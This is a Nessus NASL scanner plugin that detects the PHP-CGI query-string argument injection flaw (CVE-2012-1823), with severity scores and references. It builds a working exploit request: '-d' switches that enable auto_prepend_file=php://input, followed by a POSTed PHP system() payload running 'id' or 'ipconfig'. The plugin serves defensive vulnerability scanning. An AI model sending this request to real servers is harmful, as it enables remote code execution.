7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.973 High
EPSS
Percentile
99.9%
The PHP installation on the remote web server contains a flaw that could allow a remote attacker to pass command-line arguments as part of a query string to the PHP-CGI program. This could be abused to execute arbitrary code, reveal PHP source code, cause a system crash, etc.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(59088);
script_version("1.21");
script_set_attribute(attribute:"plugin_modification_date", value:"2022/03/28");
script_cve_id("CVE-2012-1823", "CVE-2012-2311");
script_bugtraq_id(53388);
script_xref(name:"CERT", value:"520827");
script_xref(name:"EDB-ID", value:"18834");
script_xref(name:"CISA-KNOWN-EXPLOITED", value:"2022/04/15");
script_name(english:"PHP PHP-CGI Query String Parameter Injection Arbitrary Code Execution");
script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a version of PHP that allows arbitrary
code execution.");
script_set_attribute(attribute:"description", value:
"The PHP installation on the remote web server contains a flaw that
could allow a remote attacker to pass command-line arguments as part
of a query string to the PHP-CGI program. This could be abused to
execute arbitrary code, reveal PHP source code, cause a system crash,
etc.");
script_set_attribute(attribute:"see_also", value:"http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/");
script_set_attribute(attribute:"see_also", value:"http://www.php.net/archive/2012.php#id2012-05-08-1");
script_set_attribute(attribute:"see_also", value:"http://www.php.net/ChangeLog-5.php#5.3.13");
script_set_attribute(attribute:"see_also", value:"http://www.php.net/ChangeLog-5.php#5.4.3");
# https://www-304.ibm.com/connections/blogs/PSIRT/entry/security_bulletin_lotus_foundations_php_argument_command_injection_cve_2012_18234?lang=en_us
script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?80589ce8");
script_set_attribute(attribute:"see_also", value:"https://www-304.ibm.com/support/docview.wss?uid=swg21620314");
script_set_attribute(attribute:"solution", value:
"If using Lotus Foundations, upgrade the Lotus Foundations operating
system to version 1.2.2b or later.
Otherwise, upgrade to PHP 5.3.13 / 5.4.3 or later.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
script_set_attribute(attribute:"cvss_score_source", value:"CVE-2012-2311");
script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"exploit_framework_core", value:"true");
script_set_attribute(attribute:"exploited_by_malware", value:"true");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
script_set_attribute(attribute:"metasploit_name", value:'PHP CGI Argument Injection');
script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
script_set_attribute(attribute:"canvas_package", value:"CANVAS");
script_set_attribute(attribute:"vuln_publication_date", value:"2012/05/03");
script_set_attribute(attribute:"patch_publication_date", value:"2011/05/03");
script_set_attribute(attribute:"plugin_publication_date", value:"2012/05/14");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:php:php");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2012-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("http_version.nasl", "os_fingerprint.nasl");
script_require_keys("www/PHP");
script_exclude_keys("Settings/disable_cgi_scanning");
script_require_ports("Services/www", 80);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("url_func.inc");
include("data_protection.inc");
port = get_http_port(default:80, php:TRUE);
os = get_kb_item("Host/OS");
files = get_kb_list("www/" + port + "/content/extensions/php*");
if (isnull(files)) file = "/index.php";
else
{
files = make_list(files);
file = files[0];
}
# Try to exploit the issue to run a command.
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
if ("Windows" >< os) cmd = 'ipconfig /all';
else cmd = 'id';
cmds = make_list(cmd);
}
else cmds = make_list('id', 'ipconfig /all');
cmd_pats = make_array();
cmd_pats['id'] = "uid=[0-9]+.*gid=[0-9]+.*";
cmd_pats['ipconfig /all'] = "Subnet Mask";
url = file + "?" +
"-d allow_url_include=on "+
"-d safe_mode=off "+
"-d suhosin.simulation=on "+
"-d open_basedir=off "+
"-d auto_prepend_file=php://input " +
"-n";
url = str_replace(find:" ", replace:"+", string:url);
url = urlencode(
str:url,
unreserved:"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_.!~*'()-]/?+"
);
token = (SCRIPT_NAME - ".nasl") + "-" + unixtime();
foreach cmd (cmds)
{
payload = "<?php echo '" + token + "'; system('" + cmd + "'); die; ?>";
res = http_send_recv3(
port : port,
method : "POST",
item : url,
data : payload,
content_type : "application/x-www-form-urlencoded",
exit_on_fail : TRUE
);
if (
token >< res[2] &&
egrep(pattern:cmd_pats[cmd], string:res[2])
)
{
if (report_verbosity > 0)
{
report =
'\nNessus was able to verify the issue exists using the following request :' +
'\n' +
'\n' + crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30) +
'\n' + http_last_sent_request() +
'\n' + crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30) + '\n';
if (report_verbosity > 1)
{
output = strstr(res[2], token) - token;
report +=
'\n' + 'This produced the following output :' +
'\n' +
'\n' + crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) +
'\n' + data_protection::sanitize_uid(output:chomp(output)) +
'\n' + crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n';
}
security_hole(port:port, extra:report);
}
else security_hole(port);
exit(0);
}
}
exit(0, "The web server listening on port " + port + " is not affected.");
cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1823
cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2311
eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
www.nessus.org/u?80589ce8
www.php.net/archive/2012.php#id2012-05-08-1
www.php.net/ChangeLog-5.php#5.3.13
www.php.net/ChangeLog-5.php#5.4.3
www-304.ibm.com/support/docview.wss?uid=swg21620314